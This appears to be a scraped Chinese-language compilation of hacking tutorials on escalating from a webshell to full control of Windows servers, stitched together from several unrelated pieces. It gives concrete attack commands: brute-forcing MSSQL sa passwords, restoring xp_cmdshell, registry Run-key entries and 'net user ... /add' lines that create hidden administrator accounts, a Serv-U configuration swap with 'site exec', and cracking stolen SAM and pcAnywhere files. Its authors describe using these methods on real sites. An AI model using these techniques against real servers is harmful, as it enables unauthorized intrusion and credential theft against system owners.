一套webshell提权教程
- 格式:pdf
- 大小:167.21 KB
- 文档页数:4
1433端口提权的过程随着网络安全意识的提高,很多服务器的安全防范都非常严了,本人对web入侵是一巧不通就只会扫扫1433弱口令的服务器,于是研究一段时间,虽然进步不大,但是还是想把经验分享一下,正所谓授人以鱼不如授人以渔,而我现在正是告诉你打鱼的方法,下面就以一台服务器为例了,本例使用工具为SQL TOOLS 2.0,论坛有下,请自行搜索。
插播不是广告的广告:该工具集成度高,简单的sql指令无须使用分离器,直接在此工具中执行即可,其文件管理功能非常强大,反正我用着太顺手了,推荐一下,本文原创发布于=华夏黑客同盟论坛=()广告完毕。
把扫到的ip和sa及口令填入连接后,用dos命令功能试试列目录显示错误信息:Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。
原因: 126(找不到指定的模块。
)。
这种情况大家在提权过程中经验遇到啊,它是由于xplog70.dll这个文件被删除或者做了其他限制,导致出现这个错误的这个错误的直接后果就是sql数据库的xp_cmdshell的存储过程无法使用,无法执行命令提权自然就无从说起了,当然我们还可以考虑其他的存储过程如:sp_oacreate和sp_oamethod来直接添加帐号,或者使用沙盘指令来提权,但这台服务器,这些功能都被限制了,还是考虑下恢复xplog70.dll了,测试上传无法成功,这条路走不通了,这时就考虑用到工具的文件管理功能了看到了把,和windows的资源管理器一样好用,目录列出来了,搜索一下可以用来提权的东西吧,这里我们首先要去看看sql的安装路径里的xplog70.dll文件是否存在看到吧,xplog70.dll文件不见了,被删除了,xpweb70.dll也被改了名字了-. - 继续搜寻下其他盘看看还有什么东西d盘下有几个网站和几个论坛,这些都是有用的信息,一旦sql的错误无法恢复的时候,我们就可以考虑通过这些网站来进行提权了,网站的提权,我就是搞不定,痛苦啊==!!继续搜索在e盘下竟然有个sql2000的原始安装文件备份,怦然心动的感觉是美妙的,感谢我们亲爱的服务器管理员大人,看看这是什么====e:\备份软件\MS Sql 2000\DEVELOPER\X86\BINN\那我们就开始恢复试试吧,切换到sql命令项,输入指令exec sp_dropextendedproc 'xp_cmdshell' //这个指令是删除sql数据库的xp_cmdshell的存储过程接着输入指令,重新加载新路径的存储过程。
本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。
因为发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很大,所以请大家不要对国内的站点做任何具有破坏性的操作。
考虑再三,偶还是决定发出来。
此招手段歹毒,利用范围广泛,可以说是只要是有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到webshell 甚至系统权限)。
记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种利用xp_regwrite 来取得系统权限的方法:xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','xwq1','REG_SZ','net user xwq xwq /add'xp_regwrite HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentvers ion\run','xwq2','REG_SZ','net localgroup administrators xwq /add',只要让网站所在的服务器重起,就能得到系统权限。
经过本人的数百次的真实实验,这种方法不太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。
所以不太可行(除非是你十分想要搞定的网站)。
呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大必杀技之一————万能提权。
假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这就把我的三大必杀技之一————万能提升权限方法告诉大家。
在webshell提权过程中使用MSSQL的SA账号来提升权限拿服务器是比较有效的方法,但是在我们得到SA账号的密码去执行系统命令的时候往往会遇到各类错误提示,无法正常执行系统命令。
很多菜鸟朋友们遇到类似的问题可能就会选择放弃,其实这类问题是很常见的,现在管理员安全意识有所提高,往往对SA账号做了限制,或者是对我们执行系统命令所需要的xp_cmdshell储存过程做了修改或者删除,这个xp_cmdshell就类似于我们的wscript.shell一样了,有时候遇到管理将该组件删除了的我们自己上传cmd也就不能执行了。
但是这类情况我们也可以突破的,下面给大家列出一些实用SA账号执行系统命令出现的各类错误以及修复办法。
针对各类错误我们的修复办法都是给服务器执行SQL命令进行修复,这类给服务器执行SQL 命令我们可以使用一款《SQL查询分析器修正分离版》的软件,远程连接服务器直接执行SQL命令,若服务器是内网环境下的话我们就需要使用webshell自带的功能给服务器执行SQL语句了。
错误1:Error Message:未能找到存储过程 'master..xp_cmdshell'。
修复办法:第一步先删除:drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'第二步恢复:dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")错误2:拒绝访问。
修复办法:该类错误一般是在执行系统命令的时候出现,例如执行net user invader 123456 /add 时候发生,该错误是由于管理对net文件作了修改,这类我们可以使用net1,或者使用Dir net.exe /s /p命令查找net.exe的备份文件,找到位置再执行,例如net1 user invader 123456 /add或D:XXXnet.exe user invader 123456 /add。
webshell msf 提权方法
Webshell是一种可以用来执行命令的脚本,通常用于攻击者在受害者的服务器上执行恶意操作。
MSF(Metasploit Framework)是一种流行的渗透测试工具,可以用于执行各种攻击和提权操作。
以下是使用MSF进行Webshell提权的一般步骤:
1. 获取Webshell:首先,攻击者需要将Webshell上传到受害者的服务器上。
这可以通过多种方式完成,例如通过文件上传漏洞、利用Web应用程序漏洞或其他漏洞。
2. 扫描目标:一旦Webshell上传成功,攻击者可以使用MSF的扫描器来扫描目标服务器的漏洞和弱点。
这可以帮助攻击者确定哪些用户和系统具有潜在的提权机会。
3. 执行攻击:一旦攻击者确定了潜在的提权机会,他们可以使用MSF的各种攻击模块来尝试提权。
这可能包括利用系统漏洞、使用缓冲区溢出攻击、执行命令注入等。
4. 获取权限:如果攻击成功,攻击者将获得对目标服务器的权限。
这可能包括管理员权限或其他高权限。
需要注意的是,这些步骤只是一个一般性的概述,并且实际情况可能因目标系统和环境而异。
此外,使用这些技术进行非法活动是非法的,并且可能导致严重的法律后果。
因此,建议仅在合法和授权的情况下使用这些技术。
说到花了九牛二虎的力气获得了一个webshell,当然还想继续获得整个服务器的admin权限,正如不想得到admin的不是好黑客~嘻嘻~~好跟我来,看看有什么可以利用的来提升权限第一如果服务器上有装了pcanywhere服务端,管理员为了管理方便也给了我们方便,到系统盘的Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/中下载*.cif本地破解就使用pcanywhere连接就ok了第二有很多小黑问我这么把webshell的iis user权限提升一般服务器的管理都是本机设计完毕然后上传到空间里,那么就会用到ftp,服务器使用最多的就是servu那么我们就利用servu来提升权限通过servu提升权限需要servu安装目录可写~好开始把,首先通过webshell访问servu安装文件夹下的ServUDaemon.ini把他下载下来,然后在本机上安装一个servu把ServUDaemon.ini放到本地安装文件夹下覆盖,启动servu添加了一个用户,设置为系统管理员,目录C:\,具有可执行权限然后去servu安装目录里把ServUDaemon.ini更换服务器上的。
用我新建的用户和密码连接~好的,还是连上了ftpftp>open ipConnected to ip.220 Serv-U FTP Server v5.0.0.4 for WinSock ready...User (ip:(none)): id //刚才添加的用户331 User name okay, please send complete E-mail address as password. Password:password //密码230 User logged in, proceed.ftp> cd winnt //进入win2k的winnt目录250 Directory changed to /WINNTftp>cd system32 //进入system32目录250 Directory changed to /WINNT/system32ftp>quote site exec net.exe user rover rover1234 /add //利用系统的net.exe 文件加用户。
Webshell,顾名思义,就是通过Web方式运行的shell。
它是一种恶意脚本,黑客通过各种方式将这些脚本文件上传到服务器上,然后通过浏览器访问这些脚本文件,从而实现对服务器的控制。
Webshell的原理主要基于服务器端脚本执行。
当一个Web服务器开放了对PHP、ASP、JSP等动态脚本的执行权限时,黑客可以利用各种方法(如文件上传漏洞、命令执行漏洞等)上传一个包含恶意代码的脚本文件到服务器上。
当该脚本文件被访问时,服务器会执行这个脚本文件中的代码,从而达到控制服务器的目的。
Webshell的实现过程主要包括以下几个步骤:1. 找到目标服务器:黑客首先需要找到一个目标服务器,这个服务器需要有执行动态脚本的权限,并存在一些可以利用的安全漏洞。
2. 制作Webshell:黑客会根据目标服务器的环境(如PHP、ASP、JSP等)制作相应的Webshell。
Webshell的代码通常包含对文件的操作、对系统命令的执行等功能。
3. 上传Webshell:黑客需要找到一个方式将Webshell上传到服务器上。
这通常需要利用服务器的一些安全漏洞,如文件上传漏洞、命令执行漏洞等。
4. 访问Webshell:上传成功后,黑客通过浏览器访问这个Webshell,服务器会执行Webshell中的代码,从而黑客可以通过Webshell控制服务器。
5. 使用Webshell:一旦Webshell被成功上传并可以访问,黑客就可以通过Webshell进行各种操作,如查看、修改、删除服务器上的文件,执行各种系统命令,甚至安装其他恶意软件。
注意:虽然这里介绍了Webshell的原理和实现过程,但这仅供学习和了解,任何未经授权的访问和修改他人计算机是非法的,严重违反道德和法律规定。
最全Windows提权总结(建议收藏)当以低权⽤户进去⼀个陌⽣的windows机器后,⽆论是提权还是后续做什么,第⼀步肯定要尽可能的搜集信息。
知⼰知彼,才百战不殆。
常规信息搜集systeminfo 查询系统信息hostname 主机名net user 查看⽤户信息netstat -ano|find "3389" 查看服务pid号wmic os get caption 查看系统名wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息wmic product get name,version 查看当前安装程序wmic service list brief 查询本机服务wmic process list brief 查询本机进程net share 查看本机共享列表netsh firewall show config 查看防⽕墙配置常见的杀软如下:360sd.exe 360杀毒360tray.exe 360实时保护ZhuDongFangYu.exe 360主动防御KSafeTray.exe ⾦⼭卫⼠SafeDogUpdateCenter.exe 安全狗McAfee McShield.exe McAfeeegui.exe NOD32AVP.exe 卡巴斯基avguard.exe ⼩红伞bdagent.exe BitDefender要搜集的信息⼤致如下⼏点:机器的系统及其版本机器的打补丁情况机器安装的服务机器的防⽕墙策略配置机器的防护软件情况提权简介提权可分为纵向提权与横向提权:纵向提权:低权限⾓⾊获得⾼权限⾓⾊的权限;横向提权:获取同级别⾓⾊的权限。
Windows常⽤的提权⽅法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略⾸选项提权、WEB中间件漏洞提权、DLL劫持提权、滥⽤⾼危权限令牌提权、第三⽅软件/服务提权等1、系统内核溢出漏洞提权#⼿⼯查找补丁情况systeminfo查看补丁wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息#MSF后渗透扫描post/windows/gather/enum_patches利⽤(Vulmap、Wes、WindowsVulnScan)对⽐补丁进⽽进⾏提权2、at命令利⽤在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使⽤at命令将权限提升⾄system权限。
WEBSHELL权限提升技巧WEBSHELL权限提升技巧c: d: e:.....C:\Documents and Settings\All Users\「开始」菜单\程序\看这⾥能不能跳转,我们从这⾥可以获取好多有⽤的信息⽐如Serv-U的路径,C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\看能否跳转到这个⽬录,如果⾏那就最好了,直接下它的CIF⽂件,破解得到pcAnywhere密码,登陆c:\Program Files\serv-u\C:\WINNT\system32\config\下它的SAM,破解密码c:\winnt\system32\inetsrv\data\是erveryone 完全控制,很多时候没作限制,把提升权限的⼯具上传上去,然后执⾏c:\prelC:\Program Files\Java Web Start\c:\Documents and Settings\C:\Documents and Settings\All Users\c:\winnt\system32\inetsrv\data\c:\Program Files\c:\Program Files\serv-u\C:\Program Files\Microsoft SQL Server\c:\Temp\c:\mysql\(如果服务器⽀持PHP)c:\PHP(如果服务器⽀持PHP)运⾏"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限还可以⽤这段代码试提升,好象不是很理想的如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写⼊bat,vbs等⽊马。
什么是DLL劫持DLL劫持在破解逆向程序时是常用的,我们同样可以用于Webshell提权。
●DLL劫持产生的原因●先来看一下,DLL劫持的原因。
1、Windows的DLL称为动态链接库,动态链接库技术的本质实际上是将可执行文件与库文件分离,DLL库文件通过导出表提供API接口,PE加载器通过exe文件的导入表加载相应的DLL,并根据exe文件中的INT查询DLL中的函数地址,同时写入IA T。
2、当PE加载器根据exe文件的导入表加载DLL文件时,它会按照程序的当前目录-->system32目录-->windows目录-->PA TH环境变量设置的目录来依次查找要加载的DLL文件。
因此,我们可以在伪造一个导入表同名的DLL文件,放置到exe文件的目录中,让PE加载器加载我们伪造的DLL文件,从而实现劫持。
3、DLL的转发器功能为我们提供了必要的条件,所谓DLL转发器功能是将对某个DLL文件的导出函数调用转到另一个DLL文件的导出函数中。
类似于下面的代码:★//xxx.dll#pragma comment(linker, "/EXPORT:MessageBoxA = user32.MessageBoxA")★即xxx.dll中有一个MessageBoxA导出函数,当调用xxx.dll中的MessageBoxA时,实际上调用的是user32.dll中的导出函数MessageBoxA。
如果我们伪造exe文件所加载DLL中的一个并将伪造的DLL文件放置在exe文件目录中,同时转发其所有的函数调用(转发到正常的系统DLL文件函数调用中),就可以做一些有意思的事情。
●实战●上面是理论,下面来实践一下,以Win2003为例,定位到Iexplore.exe的目录,随便建立一个文件命名为usp10.dll,然后运行iexplore.exe直接运行IE提示出错基本可以确定iexplore.exe加载usp10.dll,要确定一个可执行文件加载哪些DLL有时候单纯的查看导入表是不可取的,最好的办法用OD加载程序,ALT+L查看加载记录,如图2所示,但是需要注意一点,系统的一些关键DLL比如kernel32.dll、ntdll.dll无法劫持。